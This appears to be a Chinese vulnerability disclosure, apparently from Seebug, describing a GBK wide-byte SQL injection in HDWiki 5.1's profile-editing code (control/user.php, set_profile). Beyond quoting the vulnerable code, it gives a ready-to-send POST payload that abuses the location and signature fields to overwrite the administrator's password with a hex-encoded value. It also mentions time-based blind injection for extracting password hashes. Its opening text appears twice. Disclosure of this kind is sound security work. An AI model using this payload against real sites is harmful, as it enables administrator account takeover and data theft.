### 简要描述： 最新版HDWIKI 5.1 GBK 无视GPC 上首页吧！ ### 详细说明： 问题出在\hdwiki\control\user.php下 最新版HDWIKI 5.1 GBK版本 HDWIKI全局过滤，但是面对宽字节注入，就容易出问题了 ``` function doeditprofile(){ if(isset($this->post['submit'])){ $gender = intval($this->post['gender']); $birthday = strtotime($this->post['birthday']); $location = $this->post['location']; $signature = $this->post['signature']; if (WIKI_CHARSET == 'GBK'){ $location = string::hiconv($location); $signature = string::hiconv($signature); } $location = htmlspecialchars($location); $signature = htmlspecialchars(str_replace(array('\n','\r'),'',$signature)); $_ENV['user']->set_profile($gender,$birthday,$location,$signature,$this->user['uid']); }else{ if(0 == $this->user['birthday']){ $birthday = ''; }else{ $birthday=$this->setting['time_offset']*3600+$this->setting['time_diff']*60+$this->user['birthday']; $birthday = date('Y-m-d',$birthday); } $this->view->assign('birthday',$birthday); //$this->view->display('editprofile'); $_ENV['block']->view('editprofile'); }...
### 简要描述： 最新版HDWIKI 5.1 GBK 无视GPC 上首页吧！ ### 详细说明： 问题出在\hdwiki\control\user.php下 最新版HDWIKI 5.1 GBK版本 HDWIKI全局过滤，但是面对宽字节注入，就容易出问题了 ``` function doeditprofile(){ if(isset($this->post['submit'])){ $gender = intval($this->post['gender']); $birthday = strtotime($this->post['birthday']); $location = $this->post['location']; $signature = $this->post['signature']; if (WIKI_CHARSET == 'GBK'){ $location = string::hiconv($location); $signature = string::hiconv($signature); } $location = htmlspecialchars($location); $signature = htmlspecialchars(str_replace(array('\n','\r'),'',$signature)); $_ENV['user']->set_profile($gender,$birthday,$location,$signature,$this->user['uid']); }else{ if(0 == $this->user['birthday']){ $birthday = ''; }else{ $birthday=$this->setting['time_offset']*3600+$this->setting['time_diff']*60+$this->user['birthday']; $birthday = date('Y-m-d',$birthday); } $this->view->assign('birthday',$birthday); //$this->view->display('editprofile'); $_ENV['block']->view('editprofile'); } } ``` 关键代码是 ``` $location = string::hiconv($location); $signature = string::hiconv($signature); } $location = htmlspecialchars($location); $signature = htmlspecialchars(str_replace(array('\n','\r'),'',$signature)); ``` HDWIKI在大部分编码转换之后的地方都会addslashes 这里我们跟进这个函数set_profile() ``` function set_profile($gender,$birthday,$location,$signature,$uid){ $this->db->query("UPDATE `".DB_TABLEPRE."user` SET gender = '$gender',birthday = '$birthday',location = '$location',signature = '$signature' WHERE uid = $uid"); ``` 进入mysql前并没有进行addslashes 而且我们有$location，$signature 思路是让location引入\注释后面的单引号 由signature来注入 由于没有开display_error ,我们延时看看 [<img src="https://images.seebug.org/upload/201502/27214125da4f1cae21a239a97fa5f2a32f42dc3b.png" alt="dsa.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/27214125da4f1cae21a239a97fa5f2a32f42dc3b.png) 我们就能盲注查询管理员密码 但是有时候密码是破不出来的，怎么办呢 我们其实可以替换管理员密码 先说说HDWKI的表构造 由于管理员和普通的账号都存储在wiki_user下，所以这里由于是update的是这个表 但是问题来了 我们引入password的时候 格式一般都是 ``` password='b5ebc89058e80ef0189090a0390109e4' ``` 但是这里是无法引入单引号的（会被addslashes），而不打单引号又会被当成表名，不被识别为value。 这里用要一个小技巧 MYSQL对十六进制是能够自动识别 转换的。 比如 [<img src="https://images.seebug.org/upload/201502/27215809fd505a9b3349c9711c96873b05922f7d.png" alt="wadasd.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/27215809fd505a9b3349c9711c96873b05922f7d.png) 这样我们就能绕过单引号而update管理员密码了 我们先本地用脚本转换ascii为hex ``` <?php echo bin2hex($_GET[a]); ?> ``` 然后向http://localhost/hdwiki/index.php?user-editprofile post ``` gender=0&birthday=2015-02-18&location=%E9%8C%A6%27&signature=, password=0x3231323332663239376135376135613734333839346130653461383031666333#&submit=true ``` 成功修改密码 [<img src="https://images.seebug.org/upload/201502/27220549d30aa32bc4d6cc30aef505b839100430.png" alt="yes.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/27220549d30aa32bc4d6cc30aef505b839100430.png) ### 漏洞证明： 我们延时看看 [<img src="https://images.seebug.org/upload/201502/27214125da4f1cae21a239a97fa5f2a32f42dc3b.png" alt="dsa.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/27214125da4f1cae21a239a97fa5f2a32f42dc3b.png) 成功修改密码 [<img src="https://images.seebug.org/upload/201502/27220549d30aa32bc4d6cc30aef505b839100430.png" alt="yes.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/27220549d30aa32bc4d6cc30aef505b839100430.png)
